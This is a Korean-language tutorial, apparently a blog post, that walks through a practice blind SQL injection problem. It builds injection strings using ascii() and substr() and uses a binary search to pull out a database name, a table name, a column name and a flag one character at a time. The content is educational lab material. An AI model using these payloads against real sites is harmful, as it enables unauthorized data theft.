오늘은 Blind SQL Injection에 대해 알아보겠습니다
Blind SQL Injection은 SQL문의 실행 결과가 참, 거짓으로 나올 때 사용하는 SQL Injection 공격입니다
실행 결과가 참, 거짓으로 나오는 경우는 로그인이나 아이디 중복 체크 등이 있겠습니다
결과가 로그인 성공/실패와 같이 참/거짓으로 나타나기 때문에,
참인 SQL문이 실행되었을 때와 거짓인 SQL문이 실행되었을 때의 차이를 관찰해 정보를 얻어내는 방법입니다
예를 들어, 비밀번호의 첫 글자가 'a'인지 묻는 SQL을 삽입하여 결과가 참인지 거짓인지 살펴보고 이를 통해 조금씩 데이터를 추출하는 방법입니다
그럼 간단한 문제를 풀면서 Blind SQL Injection의 단계를 알아보겠습니다
위 페이지는 아이디 중복 검사를 하는 페이지입니다
normaltic
이라는 아이디가 존재하네요
normaltic' and '1'='1
과 normaltic' and '1'='2
를 검색해 참/거짓일 때의 결과를 보고 SQL Injection이 가능한 곳인지 확인해 보겠습니다
둘의 차이를 보니 SQL Injection이 제대로 적용되고 있는 것 같습니다
우리는 select 문을 사용해야 하는데, select가 필터링 되어 있을 수 있으므로 먼저 select 문을 사용 가능한 지 확인해야 합니다
normaltic' and ((select 'test')='test') and '1'='1
를 검색해 SELECT
문구를 사용할 수 있는지 확인합니다
사용 가능한 것을 확인했습니다
이제 공격 포맷을 만들 차례입니다
그 전에 substr
함수와 ascii
함수에 대해 알아보겠습니다
❓ substr
글자를 잘라주는 함수
substr(텍스트, 시작 인덱스, 글자 개수)
와 같이 사용
ex. substr('test',1,1) : test의 첫번째 글자부터 1개 잘라달라는 뜻으로t
가 반환
❓ ascii
문자를 숫자로 바꿀 수 있는 함수로, 문자를 아스키코드 표현에 해당하는 숫자로 변환한다
ex. ascii('a') :a
의 아스키코드식 숫자인 65로 변환
우리는 이제부터 참/거짓 결과를 활용해 문자 맞추기 놀이를 해야합니다
우리는 문자를 숫자로 바꿀 수 있다는 점을 이용해서 데이터를 한 글자씩 맞춰 나갈 것입니다
아스키코드에서 영어 알파벳은 65~122에 해당합니다
예를 들어 데이터베이스의 첫 글자를 맞춘다고 하면
ascii(substr((select database()), 1,1)) > 90
과 같이 질의하여
up down 게임을 통해 범위를 좁혀나가 하나의 글자를 알아내는 것입니다
그렇다면 우리의 공격 포맷은
normaltic' and ascii(substr((_SQL문_),1,1))>숫자 and '1'='1
이 됩니다
DB 이름은 select database()
로 찾습니다
그렇다면 우리가 작성해야 될 검색어는 normaltic' and ascii(substr((select database()),1,1))>숫자 and '1'='1
입니다
이름은 영어로 시작될 가능성이 높으니 65와 122의 중간쯤인 90부터 맞춰가며 범위를 좁혀보겠습니다
첫 글자를 한번 찾아볼까요?
normaltic' and ascii(substr((select database()),1,1))>90 and '1'='1
을 검색한 결과입니다
좀 더 올려보겠습니다
105로 조정했더니 존재하지 않는다고 하네요
90과 105 사이인가 봅니다
97로 검색해보겠습니다
97보다는 크네요
100으로 검색했더니 다시 거짓이 되었습니다
97보다 크고 100보다는 작은가봅니다
98을 검색했더니 거짓이 되었습니다
아까 97보다 크다는 참이었는데, 98보다는 거짓이라면 정확히 98이어야 합니다
아스키코드로 98이면 문자로는 b
입니다
데이터베이스 이름의 첫 글자는 b
였네요
이 과정을 반복해 구한 데이터베이스 이름은 blindSqli
입니다
테이블 명을 찾는 SQL문은 SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='blindSqli'
입니다
그렇다면 우리가 작성해야 할 검색어는 normaltic' and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='blindSqli' limit 0,1),1,1))>숫자 and '1'='1
입니다
숫자를 조정해가며 테이블의 이름을 한 글자씩 찾습니다
이 과정을 반복해 구한 테이블 이름은 flagTable
입니다
컬럼 명을 찾는 SQL문은 SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable'
입니다
그렇다면 우리가 작성해야 할 검색어는 normaltic' and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable' limit 0,1),1,1))>숫자 and '1'='1
입니다
숫자를 조정해가며 컬럼 이름을 한 글자씩 찾습니다
이 과정을 반복해 구한 컬럼 이름은 flag
입니다
이제 테이블 명과 컬럼 명을 알았으니 데이터를 추출할 수 있습니다
select flag from flagTable
이 실행되어야 하니,
우리가 작성해야 할 검색어는 normaltic' and ascii(substr((select flag from flagTable),1,1))>숫자 and '1'='1
이 됩니다
숫자를 조정해가며 flag를 한 글자씩 찾습니다
이 과정을 반복해 전체 flag를 찾을 수 있었습니다
이렇게 Blind SQL Injection에 대해 간단한 문제를 통해 알아보았습니다